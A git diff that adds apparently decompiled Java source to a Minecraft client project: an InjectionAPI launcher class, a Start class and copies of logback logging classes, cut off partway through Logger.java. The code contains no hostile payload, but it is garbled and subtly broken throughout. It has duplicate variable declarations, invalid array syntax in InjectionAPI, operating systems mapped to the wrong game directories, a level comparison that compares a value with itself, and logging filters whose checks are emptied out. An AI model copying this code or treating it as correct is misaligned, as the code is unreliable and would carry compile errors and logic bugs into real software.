diff --git a/src/minecraft/InjectionAPI.java b/src/minecraft/InjectionAPI.java
new file mode 100644
index 0000000..9791f51
--- /dev/null
+++ b/src/minecraft/InjectionAPI.java
@@ -0,0 +1,66 @@
+import com.enjoytheban.Client;
+import java.io.File;
+import java.io.FileNotFoundException;
+import java.io.PrintWriter;
+import java.io.UnsupportedEncodingException;
+
+public class InjectionAPI
+{
+  public InjectionAPI() {}
+  
+  public static void inject() throws Exception
+  {
+    String userHome = System.getProperty("user.home", ".");
+    File workingDirectory;
+    File workingDirectory; File workingDirectory; File workingDirectory; switch (getPlatform()) {
+    case LINUX: 
+      workingDirectory = new File(userHome, ".minecraft/");
+      break;
+    case SOLARIS: 
+      String applicationData = System.getenv("APPDATA");
+      String folder = applicationData != null ? applicationData : userHome;
+      workingDirectory = new File(folder, ".minecraft/");
+      break;
+    case UNKNOWN: 
+      workingDirectory = new File(userHome, "Library/Application Support/minecraft");
+      break;
+    case MACOS: default: 
+      workingDirectory = new File(userHome, "minecraft/");
+    }
+    try {
+      Client.instance.getClass();{ "--version" }[1] = "ETB"; String[] tmp139_127 = tmp127_122;tmp139_127[2] = 
+        "--accessToken"; String[] tmp144_139 = tmp139_127;tmp144_139[3] = "0"; String[] tmp149_144 = tmp144_139;tmp149_144[4] = 
+        "--assetIndex"; String[] tmp154_149 = tmp149_144;tmp154_149[5] = "1.8"; String[] tmp159_154 = tmp154_149;tmp159_154[6] = 
+        "--userProperties"; String[] tmp165_159 = tmp159_154;tmp165_159[7] = "{}"; String[] tmp171_165 = tmp165_159;tmp171_165[8] = 
+        "--gameDir"; String[] tmp177_171 = tmp171_165;tmp177_171[9] = new File(workingDirectory, ".").getAbsolutePath(); String[] tmp194_177 = tmp177_171;tmp194_177[10] = 
+        "--assetsDir"; String[] tmp200_194 = tmp194_177;tmp200_194[11] = new File(workingDirectory, "assets/").getAbsolutePath();net.minecraft.client.main.Main.main(tmp200_194);
+    }
+    catch (Exception e1) {
+      try {
+        PrintWriter writer = new PrintWriter("C:\\AntiLeak\\error.txt", "UTF-8");
+        writer.println(e1);
+        writer.close();
+        Thread.sleep(10000L);
+      } catch (InterruptedException e) {
+        e.printStackTrace();
+      } catch (FileNotFoundException e) {
+        e.printStackTrace();
+      } catch (UnsupportedEncodingException e) {
+        e.printStackTrace();
+      }
+    }
+  }
+  
+  public static InjectionAPI.OS getPlatform() {
+    String s = System.getProperty("os.name").toLowerCase();
+    return s.contains("unix") ? InjectionAPI.OS.LINUX : s.contains("linux") ? InjectionAPI.OS.LINUX : s.contains("sunos") ? InjectionAPI.OS.SOLARIS : s.contains("solaris") ? InjectionAPI.OS.SOLARIS : s.contains("mac") ? InjectionAPI.OS.MACOS : s.contains("win") ? InjectionAPI.OS.WINDOWS : InjectionAPI.OS.UNKNOWN;
+  }
+  
+  public static enum OS {
+    LINUX, 
+    SOLARIS, 
+    WINDOWS, 
+    MACOS, 
+    UNKNOWN;
+  }
+}
diff --git a/src/minecraft/Start.java b/src/minecraft/Start.java
new file mode 100644
index 0000000..05d744e
--- /dev/null
+++ b/src/minecraft/Start.java
@@ -0,0 +1,23 @@
+import java.util.Arrays;
+import net.minecraft.client.main.Main;
+
+
+
+
+
+public class Start
+{
+  public Start() {}
+  
+  public static void main(String[] args)
+  {
+    Main.main((String[])concat(new String[] { "--version", "mcp", "--accessToken", "0", "--assetsDir", "assets", 
+      "--assetIndex", "1.8", "--userProperties", "{}" }, args));
+  }
+  
+  public static <T> T[] concat(T[] first, T[] second) {
+    Object[] result = Arrays.copyOf(first, first.length + second.length);
+    System.arraycopy(second, 0, result, first.length, second.length);
+    return result;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/AsyncAppender.java b/src/minecraft/ch/qos/logback/classic/AsyncAppender.java
new file mode 100644
index 0000000..ddbfde0
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/AsyncAppender.java
@@ -0,0 +1,57 @@
+package ch.qos.logback.classic;
+
+import ch.qos.logback.classic.spi.ILoggingEvent;
+import ch.qos.logback.core.AsyncAppenderBase;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class AsyncAppender
+  extends AsyncAppenderBase<ILoggingEvent>
+{
+  boolean includeCallerData = false;
+  
+
+
+  public AsyncAppender() {}
+  
+
+  protected boolean isDiscardable(ILoggingEvent event)
+  {
+    Level level = event.getLevel();
+    return level.toInt() <= 20000;
+  }
+  
+  protected void preprocess(ILoggingEvent eventObject) {
+    eventObject.prepareForDeferredProcessing();
+    if (includeCallerData)
+      eventObject.getCallerData();
+  }
+  
+  public boolean isIncludeCallerData() {
+    return includeCallerData;
+  }
+  
+  public void setIncludeCallerData(boolean includeCallerData) {
+    this.includeCallerData = includeCallerData;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/BasicConfigurator.java b/src/minecraft/ch/qos/logback/classic/BasicConfigurator.java
new file mode 100644
index 0000000..c854a2c
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/BasicConfigurator.java
@@ -0,0 +1,62 @@
+package ch.qos.logback.classic;
+
+import ch.qos.logback.classic.encoder.PatternLayoutEncoder;
+import ch.qos.logback.classic.spi.ILoggingEvent;
+import ch.qos.logback.core.ConsoleAppender;
+import ch.qos.logback.core.status.InfoStatus;
+import ch.qos.logback.core.status.StatusManager;
+import org.slf4j.LoggerFactory;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class BasicConfigurator
+{
+  static final BasicConfigurator hiddenSingleton = new BasicConfigurator();
+  
+  private BasicConfigurator() {}
+  
+  public static void configure(LoggerContext lc)
+  {
+    StatusManager sm = lc.getStatusManager();
+    if (sm != null) {
+      sm.add(new InfoStatus("Setting up default configuration.", lc));
+    }
+    ConsoleAppender<ILoggingEvent> ca = new ConsoleAppender();
+    ca.setContext(lc);
+    ca.setName("console");
+    PatternLayoutEncoder pl = new PatternLayoutEncoder();
+    pl.setContext(lc);
+    pl.setPattern("%d{HH:mm:ss.SSS} [%thread] %-5level %logger{36} - %msg%n");
+    pl.start();
+    
+    ca.setEncoder(pl);
+    ca.start();
+    Logger rootLogger = lc.getLogger("ROOT");
+    rootLogger.addAppender(ca);
+  }
+  
+  public static void configureDefaultContext() {
+    LoggerContext lc = (LoggerContext)LoggerFactory.getILoggerFactory();
+    configure(lc);
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/ClassicConstants.java b/src/minecraft/ch/qos/logback/classic/ClassicConstants.java
new file mode 100644
index 0000000..50a3e68
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/ClassicConstants.java
@@ -0,0 +1,53 @@
+package ch.qos.logback.classic;
+
+import org.slf4j.Marker;
+import org.slf4j.MarkerFactory;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ClassicConstants
+{
+  public static final String USER_MDC_KEY = "user";
+  public static final String LOGBACK_CONTEXT_SELECTOR = "logback.ContextSelector";
+  public static final String JNDI_CONFIGURATION_RESOURCE = "java:comp/env/logback/configuration-resource";
+  public static final String JNDI_CONTEXT_NAME = "java:comp/env/logback/context-name";
+  public static final int MAX_DOTS = 16;
+  public static final int DEFAULT_MAX_CALLEDER_DATA_DEPTH = 8;
+  public static final String REQUEST_REMOTE_HOST_MDC_KEY = "req.remoteHost";
+  public static final String REQUEST_USER_AGENT_MDC_KEY = "req.userAgent";
+  public static final String REQUEST_REQUEST_URI = "req.requestURI";
+  public static final String REQUEST_QUERY_STRING = "req.queryString";
+  public static final String REQUEST_REQUEST_URL = "req.requestURL";
+  public static final String REQUEST_METHOD = "req.method";
+  public static final String REQUEST_X_FORWARDED_FOR = "req.xForwardedFor";
+  public static final String GAFFER_CONFIGURATOR_FQCN = "ch.qos.logback.classic.gaffer.GafferConfigurator";
+  public static final String FINALIZE_SESSION = "FINALIZE_SESSION";
+  public static final Marker FINALIZE_SESSION_MARKER = MarkerFactory.getMarker("FINALIZE_SESSION");
+  
+  public ClassicConstants() {}
+}
diff --git a/src/minecraft/ch/qos/logback/classic/Level.java b/src/minecraft/ch/qos/logback/classic/Level.java
new file mode 100644
index 0000000..f16e0f4
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/Level.java
@@ -0,0 +1,297 @@
+package ch.qos.logback.classic;
+
+import java.io.Serializable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class Level
+  implements Serializable
+{
+  private static final long serialVersionUID = -814092767334282137L;
+  public static final int OFF_INT = Integer.MAX_VALUE;
+  public static final int ERROR_INT = 40000;
+  public static final int WARN_INT = 30000;
+  public static final int INFO_INT = 20000;
+  public static final int DEBUG_INT = 10000;
+  public static final int TRACE_INT = 5000;
+  public static final int ALL_INT = Integer.MIN_VALUE;
+  public static final Integer OFF_INTEGER = Integer.valueOf(Integer.MAX_VALUE);
+  public static final Integer ERROR_INTEGER = Integer.valueOf(40000);
+  public static final Integer WARN_INTEGER = Integer.valueOf(30000);
+  public static final Integer INFO_INTEGER = Integer.valueOf(20000);
+  public static final Integer DEBUG_INTEGER = Integer.valueOf(10000);
+  public static final Integer TRACE_INTEGER = Integer.valueOf(5000);
+  public static final Integer ALL_INTEGER = Integer.valueOf(Integer.MIN_VALUE);
+  
+
+
+
+  public static final Level OFF = new Level(Integer.MAX_VALUE, "OFF");
+  
+
+
+
+
+  public static final Level ERROR = new Level(40000, "ERROR");
+  
+
+
+
+  public static final Level WARN = new Level(30000, "WARN");
+  
+
+
+
+
+  public static final Level INFO = new Level(20000, "INFO");
+  
+
+
+
+
+  public static final Level DEBUG = new Level(10000, "DEBUG");
+  
+
+
+
+
+  public static final Level TRACE = new Level(5000, "TRACE");
+  
+
+
+
+  public static final Level ALL = new Level(Integer.MIN_VALUE, "ALL");
+  
+  public final int levelInt;
+  
+  public final String levelStr;
+  
+
+  private Level(int levelInt, String levelStr)
+  {
+    this.levelInt = levelInt;
+    this.levelStr = levelStr;
+  }
+  
+
+
+  public String toString()
+  {
+    return levelStr;
+  }
+  
+
+
+  public int toInt()
+  {
+    return levelInt;
+  }
+  
+
+
+
+
+  public Integer toInteger()
+  {
+    switch (levelInt) {
+    case -2147483648: 
+      return ALL_INTEGER;
+    case 5000: 
+      return TRACE_INTEGER;
+    case 10000: 
+      return DEBUG_INTEGER;
+    case 20000: 
+      return INFO_INTEGER;
+    case 30000: 
+      return WARN_INTEGER;
+    case 40000: 
+      return ERROR_INTEGER;
+    case 2147483647: 
+      return OFF_INTEGER;
+    }
+    throw new IllegalStateException("Level " + levelStr + ", " + levelInt + " is unknown.");
+  }
+  
+
+
+
+
+
+  public boolean isGreaterOrEqual(Level r)
+  {
+    return levelInt >= levelInt;
+  }
+  
+
+
+
+  public static Level toLevel(String sArg)
+  {
+    return toLevel(sArg, DEBUG);
+  }
+  
+
+
+
+
+
+
+  public static Level valueOf(String sArg)
+  {
+    return toLevel(sArg, DEBUG);
+  }
+  
+
+
+
+
+  public static Level toLevel(int val)
+  {
+    return toLevel(val, DEBUG);
+  }
+  
+
+
+
+  public static Level toLevel(int val, Level defaultLevel)
+  {
+    switch (val) {
+    case -2147483648: 
+      return ALL;
+    case 5000: 
+      return TRACE;
+    case 10000: 
+      return DEBUG;
+    case 20000: 
+      return INFO;
+    case 30000: 
+      return WARN;
+    case 40000: 
+      return ERROR;
+    case 2147483647: 
+      return OFF;
+    }
+    return defaultLevel;
+  }
+  
+
+
+
+
+  public static Level toLevel(String sArg, Level defaultLevel)
+  {
+    if (sArg == null) {
+      return defaultLevel;
+    }
+    
+    if (sArg.equalsIgnoreCase("ALL")) {
+      return ALL;
+    }
+    if (sArg.equalsIgnoreCase("TRACE")) {
+      return TRACE;
+    }
+    if (sArg.equalsIgnoreCase("DEBUG")) {
+      return DEBUG;
+    }
+    if (sArg.equalsIgnoreCase("INFO")) {
+      return INFO;
+    }
+    if (sArg.equalsIgnoreCase("WARN")) {
+      return WARN;
+    }
+    if (sArg.equalsIgnoreCase("ERROR")) {
+      return ERROR;
+    }
+    if (sArg.equalsIgnoreCase("OFF")) {
+      return OFF;
+    }
+    return defaultLevel;
+  }
+  
+
+
+
+
+
+  private Object readResolve()
+  {
+    return toLevel(levelInt);
+  }
+  
+
+
+
+
+  public static Level fromLocationAwareLoggerInteger(int levelInt)
+  {
+    Level level;
+    
+
+
+    switch (levelInt) {
+    case 0: 
+      level = TRACE;
+      break;
+    case 10: 
+      level = DEBUG;
+      break;
+    case 20: 
+      level = INFO;
+      break;
+    case 30: 
+      level = WARN;
+      break;
+    case 40: 
+      level = ERROR;
+      break;
+    default: 
+      throw new IllegalArgumentException(levelInt + " not a valid level value");
+    }
+    return level;
+  }
+  
+
+
+
+
+
+
+
+  public static int toLocationAwareLoggerInteger(Level level)
+  {
+    if (level == null)
+      throw new IllegalArgumentException("null level parameter is not admitted");
+    switch (level.toInt()) {
+    case 5000: 
+      return 0;
+    case 10000: 
+      return 10;
+    case 20000: 
+      return 20;
+    case 30000: 
+      return 30;
+    case 40000: 
+      return 40;
+    }
+    throw new IllegalArgumentException(level + " not a valid level value");
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/classic/Logger.java b/src/minecraft/ch/qos/logback/classic/Logger.java
new file mode 100644
index 0000000..c42cb40
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/classic/Logger.java
@@ -0,0 +1,802 @@
+package ch.qos.logback.classic;
+
+import ch.qos.logback.classic.spi.ILoggingEvent;
+import ch.qos.logback.classic.spi.LoggingEvent;
+import ch.qos.logback.classic.util.LoggerNameUtil;
+import ch.qos.logback.core.Appender;
+import ch.qos.logback.core.spi.AppenderAttachable;
+import ch.qos.logback.core.spi.AppenderAttachableImpl;
+import ch.qos.logback.core.spi.FilterReply;
+import java.io.ObjectStreamException;
+import java.io.Serializable;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.Iterator;
+import java.util.List;
+import org.slf4j.LoggerFactory;
+import org.slf4j.Marker;
+import org.slf4j.spi.LocationAwareLogger;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class Logger
+  implements org.slf4j.Logger, LocationAwareLogger, AppenderAttachable<ILoggingEvent>, Serializable
+{
+  private static final long serialVersionUID = 5454405123156820674L;
+  public static final String FQCN = Logger.class.getName();
+  
+
+
+
+
+
+
+  private String name;
+  
+
+
+
+
+
+
+  private transient Level level;
+  
+
+
+
+
+
+
+  private transient int effectiveLevelInt;
+  
+
+
+
+
+
+
+  private transient Logger parent;
+  
+
+
+
+
+
+
+  private transient List<Logger> childrenList;
+  
+
+
+
+
+
+
+  private transient AppenderAttachableImpl<ILoggingEvent> aai;
+  
+
+
+
+
+
+  private transient boolean additive = true;
+  final transient LoggerContext loggerContext;
+  private static final int DEFAULT_CHILD_ARRAY_SIZE = 5;
+  
+  Logger(String name, Logger parent, LoggerContext loggerContext) {
+    this.name = name;
+    this.parent = parent;
+    this.loggerContext = loggerContext;
+  }
+  
+  public Level getEffectiveLevel() {
+    return Level.toLevel(effectiveLevelInt);
+  }
+  
+  int getEffectiveLevelInt() {
+    return effectiveLevelInt;
+  }
+  
+  public Level getLevel() {
+    return level;
+  }
+  
+  public String getName() {
+    return name;
+  }
+  
+  private boolean isRootLogger()
+  {
+    return parent == null;
+  }
+  
+  Logger getChildByName(String childName) {
+    if (childrenList == null) {
+      return null;
+    }
+    int len = childrenList.size();
+    for (int i = 0; i < len; i++) {
+      Logger childLogger_i = (Logger)childrenList.get(i);
+      String childName_i = childLogger_i.getName();
+      
+      if (childName.equals(childName_i)) {
+        return childLogger_i;
+      }
+    }
+    
+    return null;
+  }
+  
+  public synchronized void setLevel(Level newLevel)
+  {
+    if (level == newLevel)
+    {
+      return;
+    }
+    if ((newLevel == null) && (isRootLogger())) {
+      throw new IllegalArgumentException("The level of the root logger cannot be set to null");
+    }
+    
+
+    level = newLevel;
+    if (newLevel == null) {
+      effectiveLevelInt = parent.effectiveLevelInt;
+      newLevel = parent.getEffectiveLevel();
+    } else {
+      effectiveLevelInt = levelInt;
+    }
+    
+    if (childrenList != null) {
+      int len = childrenList.size();
+      for (int i = 0; i < len; i++) {
+        Logger child = (Logger)childrenList.get(i);
+        
+        child.handleParentLevelChange(effectiveLevelInt);
+      }
+    }
+    
+    loggerContext.fireOnLevelChange(this, newLevel);
+  }
+  
+
+
+
+
+
+
+
+  private synchronized void handleParentLevelChange(int newParentLevelInt)
+  {
+    if (level == null) {
+      effectiveLevelInt = newParentLevelInt;
+      
+
+      if (childrenList != null) {
+        int len = childrenList.size();
+        for (int i = 0; i < len; i++) {
+          Logger child = (Logger)childrenList.get(i);
+          child.handleParentLevelChange(newParentLevelInt);
+        }
+      }
+    }
+  }
+  
+
+
+
+
+  public void detachAndStopAllAppenders()
+  {
+    if (aai != null) {
+      aai.detachAndStopAllAppenders();
+    }
+  }
+  
+  public boolean detachAppender(String name) {
+    if (aai == null) {
+      return false;
+    }
+    return aai.detachAppender(name);
+  }
+  
+
+  public synchronized void addAppender(Appender<ILoggingEvent> newAppender)
+  {
+    if (aai == null) {
+      aai = new AppenderAttachableImpl();
+    }
+    aai.addAppender(newAppender);
+  }
+  
+  public boolean isAttached(Appender<ILoggingEvent> appender) {
+    if (aai == null) {
+      return false;
+    }
+    return aai.isAttached(appender);
+  }
+  
+  public Iterator<Appender<ILoggingEvent>> iteratorForAppenders()
+  {
+    if (aai == null) {
+      return Collections.EMPTY_LIST.iterator();
+    }
+    return aai.iteratorForAppenders();
+  }
+  
+  public Appender<ILoggingEvent> getAppender(String name) {
+    if (aai == null) {
+      return null;
+    }
+    return aai.getAppender(name);
+  }
+  
+
+
+
+
+
+  public void callAppenders(ILoggingEvent event)
+  {
+    int writes = 0;
+    for (Logger l = this; l != null; l = parent) {
+      writes += l.appendLoopOnAppenders(event);
+      if (!additive) {
+        break;
+      }
+    }
+    
+    if (writes == 0) {
+      loggerContext.noAppenderDefinedWarning(this);
+    }
+  }
+  
+  private int appendLoopOnAppenders(ILoggingEvent event) {
+    if (aai != null) {
+      return aai.appendLoopOnAppenders(event);
+    }
+    return 0;
+  }
+  
+
+
+
+  public boolean detachAppender(Appender<ILoggingEvent> appender)
+  {
+    if (aai == null) {
+      return false;
+    }
+    return aai.detachAppender(appender);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  Logger createChildByLastNamePart(String lastPart)
+  {
+    int i_index = LoggerNameUtil.getFirstSeparatorIndexOf(lastPart);
+    if (i_index != -1) {
+      throw new IllegalArgumentException("Child name [" + lastPart + " passed as parameter, may not include [" + '.' + "]");
+    }
+    
+
+    if (childrenList == null)
+      childrenList = new ArrayList();
+    Logger childLogger;
+    Logger childLogger;
+    if (isRootLogger()) {
+      childLogger = new Logger(lastPart, this, loggerContext);
+    } else {
+      childLogger = new Logger(name + '.' + lastPart, this, loggerContext);
+    }
+    
+    childrenList.add(childLogger);
+    effectiveLevelInt = effectiveLevelInt;
+    return childLogger;
+  }
+  
+  private void localLevelReset() {
+    effectiveLevelInt = 10000;
+    if (isRootLogger()) {
+      level = Level.DEBUG;
+    } else {
+      level = null;
+    }
+  }
+  
+  void recursiveReset() {
+    detachAndStopAllAppenders();
+    localLevelReset();
+    additive = true;
+    if (childrenList == null) {
+      return;
+    }
+    for (Logger childLogger : childrenList) {
+      childLogger.recursiveReset();
+    }
+  }
+  
+
+
+
+
+
+  Logger createChildByName(String childName)
+  {
+    int i_index = LoggerNameUtil.getSeparatorIndexOf(childName, name.length() + 1);
+    if (i_index != -1) {
+      throw new IllegalArgumentException("For logger [" + name + "] child name [" + childName + " passed as parameter, may not include '.' after index" + (name.length() + 1));
+    }
+    
+
+
+
+    if (childrenList == null) {
+      childrenList = new ArrayList(5);
+    }
+    
+    Logger childLogger = new Logger(childName, this, loggerContext);
+    childrenList.add(childLogger);
+    effectiveLevelInt = effectiveLevelInt;
+    return childLogger;
+  }
+  
+
+
+
+
+
+
+
+
+  private void filterAndLog_0_Or3Plus(String localFQCN, Marker marker, Level level, String msg, Object[] params, Throwable t)
+  {
+    FilterReply decision = loggerContext.getTurboFilterChainDecision_0_3OrMore(marker, this, level, msg, params, t);
+    
+
+
+    if (decision == FilterReply.NEUTRAL) {
+      if (effectiveLevelInt <= levelInt) {}
+
+    }
+    else if (decision == FilterReply.DENY) {
+      return;
+    }
+    
+    buildLoggingEventAndAppend(localFQCN, marker, level, msg, params, t);
+  }
+  
+
+
+  private void filterAndLog_1(String localFQCN, Marker marker, Level level, String msg, Object param, Throwable t)
+  {
+    FilterReply decision = loggerContext.getTurboFilterChainDecision_1(marker, this, level, msg, param, t);
+    
+
+    if (decision == FilterReply.NEUTRAL) {
+      if (effectiveLevelInt <= levelInt) {}
+
+    }
+    else if (decision == FilterReply.DENY) {
+      return;
+    }
+    
+    buildLoggingEventAndAppend(localFQCN, marker, level, msg, new Object[] { param }, t);
+  }
+  
+
+
+
+  private void filterAndLog_2(String localFQCN, Marker marker, Level level, String msg, Object param1, Object param2, Throwable t)
+  {
+    FilterReply decision = loggerContext.getTurboFilterChainDecision_2(marker, this, level, msg, param1, param2, t);
+    
+
+    if (decision == FilterReply.NEUTRAL) {
+      if (effectiveLevelInt <= levelInt) {}
+
+    }
+    else if (decision == FilterReply.DENY) {
+      return;
+    }
+    
+    buildLoggingEventAndAppend(localFQCN, marker, level, msg, new Object[] { param1, param2 }, t);
+  }
+  
+
+
+  private void buildLoggingEventAndAppend(String localFQCN, Marker marker, Level level, String msg, Object[] params, Throwable t)
+  {
+    LoggingEvent le = new LoggingEvent(localFQCN, this, level, msg, t, params);
+    le.setMarker(marker);
+    callAppenders(le);
+  }
+  
+  public void trace(String msg) {
+    filterAndLog_0_Or3Plus(FQCN, null, Level.TRACE, msg, null, null);
+  }
+  
+  public void trace(String format, Object arg) {
+    filterAndLog_1(FQCN, null, Level.TRACE, format, arg, null);
+  }
+  
+  public void trace(String format, Object arg1, Object arg2) {
+    filterAndLog_2(FQCN, null, Level.TRACE, format, arg1, arg2, null);
+  }
+  
+  public void trace(String format, Object[] argArray) {
+    filterAndLog_0_Or3Plus(FQCN, null, Level.TRACE, format, argArray, null);
+  }
+  
+  public void trace(String msg, Throwable t) {
+    filterAndLog_0_Or3Plus(FQCN, null, Level.TRACE, msg, null, t);
+  }
+  
+  public void trace(Marker marker, String msg) {
+    filterAndLog_0_Or3Plus(FQCN, marker, Level.TRACE, msg, null, null);
+  }
+  
+  public void trace(Marker marker, String format, Object arg) {
+    filterAndLog_1(FQCN, marker, Level.TRACE, format, arg, null);
+  }
+  
+  public void trace(Marker marker, String format, Object arg1, Object arg2) {
+    filterAndLog_2(FQCN, marker, Level.TRACE, format, arg1, arg2, null);
+  }
+  
+  public void trace(Marker marker, String format, Object[] argArray) {
+    filterAndLog_0_Or3Plus(FQCN, marker, Level.TRACE, format, argArray, null);
+  }
+  
+  public void trace(Marker marker, String msg, Throwable t) {
+    filterAndLog_0_Or3Plus(FQCN, marker, Level.TRACE, msg, null, t);
+  }
+  
+  public boolean isDebugEnabled() {
+    return isDebugEnabled(null);
+  }
+  
+  public boolean isDebugEnabled(Marker marker) {
+    FilterReply decision = callTurboFilters(marker, Level.DEBUG);
+    if (decision == FilterReply.NEUTRAL)
+      return effectiveLevelInt <= 10000;
+    if (decision == FilterReply.DENY)
+      return false;
+    if (decision == FilterReply.ACCEPT) {
+      return true;
+    }
+    throw new IllegalStateException("Unknown FilterReply value: " + decision);
+  }
+  
+  public void debug(String msg)
+  {
+    filterAndLog_0_Or3Plus(FQCN, null, Level.DEBUG, msg, null, null);
+  }
+  
+  public void debug(String format, Object arg) {
+    filterAndLog_1(FQCN, null, Level.DEBUG, format, arg, null);
+  }
+  
+  public void debug(String format, Object arg1, Object arg2) {
+    filterAndLog_2(FQCN, null, Level.DEBUG, format, arg1, arg2, null);
+  }
+  
+  public void debug(String format, Object[] argArray) {
+    filterAndLog_0_Or3Plus(FQCN, null, Level.DEBUG, format, argArray, null);
+  }
+  
+  public void debug(String msg, Throwable t) {
+    filterAndLog_0_Or3Plus(FQCN, null, Level.DEBUG, msg, null, t);
+  }
+  
+  public void debug(Marker marker, String msg) {
+    filterAndLog_0_Or3Plus(FQCN, marker, Level.DEBUG, msg, null, null);
+  }
+  
+  public void debug(Marker marker, String format, Object arg) {
+    filterAndLog_1(FQCN, marker, Level.DEBUG, format, arg, null);
+  }
+  
+  public void debug(Marker marker, String format, Object arg1, Object arg2) {
+    filterAndLog_2(FQCN, marker, Level.DEBUG, format, arg1, arg2, null);
+  }
+  
+  public void debug(Marker marker, String format, Object[] argArray) {
+    filterAndLog_0_Or3Plus(FQCN, marker, Level.DEBUG, format, argArray, null);
+  }
+  
+  public void debug(Marker marker, String msg, Throwable t) {
+    filterAndLog_0_Or3Plus(FQCN, marker, Level.DEBUG, msg, null, t);
+  }
+  
+  public void error(String msg) {
+    filterAndLog_0_Or3Plus(FQCN, null, Level.ERROR, msg, null, null);
+  }
+  
+  public void error(String format, Object arg) {
+    filterAndLog_1(FQCN, null, Level.ERROR, format, arg, null);
+  }
+  
+  public void error(String format, Object arg1, Object arg2) {
+    filterAndLog_2(FQCN, null, Level.ERROR, format, arg1, arg2, null);
+  }
+  
+  public void error(String format, Object[] argArray) {
+    filterAndLog_0_Or3Plus(FQCN, null, Level.ERROR, format, argArray, null);
+  }
+  
+  public void error(String msg, Throwable t) {
+    filterAndLog_0_Or3Plus(FQCN, null, Level.ERROR, msg, null, t);
+  }
+  
+  public void error(Marker marker, String msg) {
+    filterAndLog_0_Or3Plus(FQCN, marker, Level.ERROR, msg, null, null);
+  }
+  
+  public void error(Marker marker, String format, Object arg) {
+    filterAndLog_1(FQCN, marker, Level.ERROR, format, arg, null);
+  }
+  
+  public void error(Marker marker, String format, Object arg1, Object arg2) {
+    filterAndLog_2(FQCN, marker, Level.ERROR, format, arg1, arg2, null);
+  }
+  
+  public void error(Marker marker, String format, Object[] argArray) {
+    filterAndLog_0_Or3Plus(FQCN, marker, Level.ERROR, format, argArray, null);
+  }
+  
+  public void error(Marker marker, String msg, Throwable t) {
+    filterAndLog_0_Or3Plus(FQCN, marker, Level.ERROR, msg, null, t);
+  }
+  
+  public boolean isInfoEnabled() {
+    return isInfoEnabled(null);
+  }
+  
+  public boolean isInfoEnabled(Marker marker) {
+    FilterReply decision = callTurboFilters(marker, Level.INFO);
+    if (decision == FilterReply.NEUTRAL)
+      return effectiveLevelInt <= 20000;
+    if (decision == FilterReply.DENY)
+      return false;
+    if (decision == FilterReply.ACCEPT) {
+      return true;
+    }
+    throw new IllegalStateException("Unknown FilterReply value: " + decision);
+  }
+  
+  public void info(String msg)
+  {
+    filterAndLog_0_Or3Plus(FQCN, null, Level.INFO, msg, null, null);
+  }
+  
+  public void info(String format, Object arg) {
+    filterAndLog_1(FQCN, null, Level.INFO, format, arg, null);
+  }
+  
+  public void info(String format, Object arg1, Object arg2) {
+    filterAndLog_2(FQCN, null, Level.INFO, format, arg1, arg2, null);
+  }
+  
+  public void info(String format, Object[] argArray) {
+    filterAndLog_0_Or3Plus(FQCN, null, Level.INFO, format, argArray, null);
+  }
+  
+  public void info(String msg, Throwable t) {
+    filterAndLog_0_Or3Plus(FQCN, null, Level.INFO, msg, null, t);
+  }
+  
+  public void info(Marker marker, String msg) {
+    filterAndLog_0_Or3Plus(FQCN, marker, Level.INFO, msg, null, null);
+  }
+  
+  public void info(Marker marker, String format, Object arg) {
+    filterAndLog_1(FQCN, marker, Level.INFO, format, arg, null);
+  }
+  
+  public void info(Marker marker, String format, Object arg1, Object arg2) {
+    filterAndLog_2(FQCN, marker, Level.INFO, format, arg1, arg2, null);
+  }
+  
+  public void info(Marker marker, String format, Object[] argArray) {
+    filterAndLog_0_Or3Plus(FQCN, marker, Level.INFO, format, argArray, null);
+  }
+  
+  public void info(Marker marker, String msg, Throwable t) {
+    filterAndLog_0_Or3Plus(FQCN, marker, Level.INFO, msg, null, t);
+  }
+  
+  public boolean isTraceEnabled() {
+    return isTraceEnabled(null);
+  }
+  
+  public boolean isTraceEnabled(Marker marker) {
+    FilterReply decision = callTurboFilters(marker, Level.TRACE);
+    if (decision == FilterReply.NEUTRAL)
+      return effectiveLevelInt <= 5000;
+    if (decision == FilterReply.DENY)
+      return false;
+    if (decision == FilterReply.ACCEPT) {
+      return true;
+    }
+    throw new IllegalStateException("Unknown FilterReply value: " + decision);
+  }
+  
+  public boolean isErrorEnabled()
+  {
+    return isErrorEnabled(null);
+  }
+  
+  public boolean isErrorEnabled(Marker marker) {
+    FilterReply decision = callTurboFilters(marker, Level.ERROR);
+    if (decision == FilterReply.NEUTRAL)
+      return effectiveLevelInt <= 40000;
+    if (decision == FilterReply.DENY)
+      return false;
+    if (decision == FilterReply.ACCEPT) {
+      return true;
+    }
+    throw new IllegalStateException("Unknown FilterReply value: " + decision);
+  }
+  
+  public boolean isWarnEnabled()
+  {
+    return isWarnEnabled(null);
+  }
+  
+  public boolean isWarnEnabled(Marker marker) {
+    FilterReply decision = callTurboFilters(marker, Level.WARN);
+    if (decision == FilterReply.NEUTRAL)
+      return effectiveLevelInt <= 30000;
+    if (decision == FilterReply.DENY)
+      return false;
+    if (decision == FilterReply.ACCEPT) {
+      return true;
+    }
+    throw new IllegalStateException("Unknown FilterReply value: " + decision);
+  }
+  
+
+  public boolean isEnabledFor(Marker marker, Level level)
+  {
+    FilterReply decision = callTurboFilters(marker, level);
+    if (decision == FilterReply.NEUTRAL)
+      return effectiveLevelInt <= levelInt;
+    if (decision == FilterReply.DENY)
+      return false;
+    if (decision == FilterReply.ACCEPT) {
+      return true;
+    }
